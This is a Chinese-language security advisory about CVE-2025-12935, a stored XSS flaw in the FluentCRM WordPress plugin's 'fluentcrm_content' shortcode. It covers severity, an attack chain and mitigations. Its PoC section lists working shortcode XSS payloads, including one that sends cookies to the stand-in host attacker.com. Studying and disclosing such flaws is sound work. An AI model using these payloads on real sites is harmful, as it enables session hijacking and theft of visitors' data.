IPBUF安全漏洞报告
English
CVE-2025-12935 CVSS 6.4 中危

CVE-2025-12935: WordPress FluentCRM插件存储型XSS漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-12935
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FluentCRM WordPress插件

相关标签

存储型XSSWordPress插件漏洞FluentCRMCVE-2025-12935短代码注入跨站脚本认证用户漏洞

漏洞概述

CVE-2025-12935是WordPress平台下FluentCRM插件的一个存储型跨站脚本(XSS)漏洞。该插件是一款功能全面的电子邮件营销和客户关系管理解决方案,广泛应用于WordPress网站中。漏洞根源在于插件对用户输入的属性参数缺乏充分的输入清理和输出转义处理。攻击者可以利用插件提供的'fluentcrm_content'短代码功能,通过注入恶意JavaScript脚本实现持久化的跨站脚本攻击。由于漏洞属于存储型XSS,恶意脚本会被永久保存在服务器端,当其他用户访问包含恶意代码的页面时,攻击代码会自动执行。这可能导致会话劫持、敏感信息窃取、钓鱼攻击传播等严重安全问题。漏洞影响版本为2.9.84及以下所有版本,需要拥有贡献者(contributor)级别权限的认证用户方可利用此漏洞。

技术细节

该漏洞存在于FluentCRM插件处理'fluentcrm_content'短代码的过程中。攻击者通过构造恶意属性参数,在输入时未能执行适当的安全过滤和字符转义。当这些未经过滤的用户输入被存储到数据库后,在后续页面渲染输出时,恶意脚本会被直接嵌入到HTML响应中执行。攻击者需要具备WordPress站点至少贡献者级别的用户账户即可利用此漏洞。成功利用后,攻击者可以在任意页面注入JavaScript代码,这些代码会在任何访问该页面的用户浏览器中执行。由于是存储型XSS,攻击具有持久性,无需受害者点击特定链接或进行任何交互操作。漏洞代码位置主要涉及app/Hooks/Handlers/PrefFormHandler.php文件中的属性处理逻辑。

攻击链分析

STEP 1
信息收集
攻击者首先确认目标网站使用FluentCRM插件,并获取至少贡献者级别的WordPress账户
STEP 2
漏洞探测
攻击者识别插件版本是否在2.9.84或以下版本,并确认'fluentcrm_content'短代码功能可用
STEP 3
恶意代码注入
通过短代码属性参数注入包含恶意JavaScript的payload,利用不足的输入清理和输出转义
STEP 4
数据持久化
恶意脚本被存储在数据库中,在任何访问该页面时自动执行
STEP 5
攻击执行
受害者访问含恶意代码页面时,JavaScript在其浏览器中执行,可窃取Cookie、会话令牌等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress FluentCRM XSS PoC - CVE-2025-12935 --> <!-- Requires contributor-level access --> <!-- Basic XSS injection via shortcode attribute --> [fluentcrm_content test_attr='"><script>alert(document.cookie)</script>'] <!-- Alternative payload with event handler --> [fluentcrm_content title='XSS" onmouseover="alert(document.domain)" x='] <!-- Steal session cookies --> [fluentcrm_content content='<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'] <!-- Stored XSS with iframe injection --> [fluentcrm_content classname='"><iframe src="javascript:alert(document.cookie)">']

影响范围

FluentCRM WordPress插件 <= 2.9.84

防御指南

临时缓解措施
如无法立即升级,可临时禁用'fluentcrm_content'短代码功能,或通过WordPress主题的functions.php添加过滤器移除该短代码。同时限制用户角色权限,确保非管理员用户无法使用短代码功能。建议启用WordPress防火墙插件增加额外防护层。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表